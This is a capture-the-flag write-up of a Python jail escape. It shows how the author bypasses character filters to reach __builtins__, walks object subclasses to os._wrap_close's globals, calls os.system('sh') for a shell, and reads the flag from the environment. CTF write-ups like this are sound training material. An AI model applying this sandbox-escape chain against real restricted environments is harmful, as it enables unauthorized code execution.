Tags: pyjail 

Rating: 0

# hell_of_a_jail

We are in a Python jail, which tells us we need to call `exit()` with
a parameter to escape. After trying a few things, we run into several
restrictions:

* commands longer than 12 characters are truncated,
* `.` characters are filtered out,
* `__` are filtered out (but not `_`),
* we cannot use `"`, and
* almost no functions we try work and we cannot import anything.

The underscore and period filtering are applied in the wrong order, so
we can bypass the underscore check and read `__builtins__` by running:

```
>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}
```

Now we know that we have `getattr` available, which lets us avoid
using `.` to access attributes. We can start from a simple tuple
object (`()`), climb up the hierarchy to get to the `object` class and
see which subclasses we can work with here. To avoid the 12-character
limit, we will alias everything to single-character names and use
variables to store long string parameters:

```
e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c) # ().__class__
o=g(t,b) # ... .__base__
x=g(o,s) # ... .__subclasses__
```

Now, if we print `x()`, we will see a list of classes we can reach.
One interesting option is `os._wrap_close`, which will let us access
the `os` module to get to `system`. It is at index `127`, so:

```
w=x()[127] # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i) # ... .__init__
a=g(z,l) # ... .__globals__
s=a['system'] # ... ['system']
```

Now all that remains is to call `s('sh')` to get a shell. This lets us
read the compiled jail shell `jail.pyc`, which we can decompile using
`uncompyle6` and read the `exit()` check:

```
def exit(arg):
"""Must invoke with the right arg in order to get the flag."""
if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
print('Oh no ! You managed to escape\nValidate with the key')
return sys.exit(0)
print('Wrong key')
```

All that remains is to read the key from the environment variable.
Since we already have a shell available, we can just run `env` and get
the flag.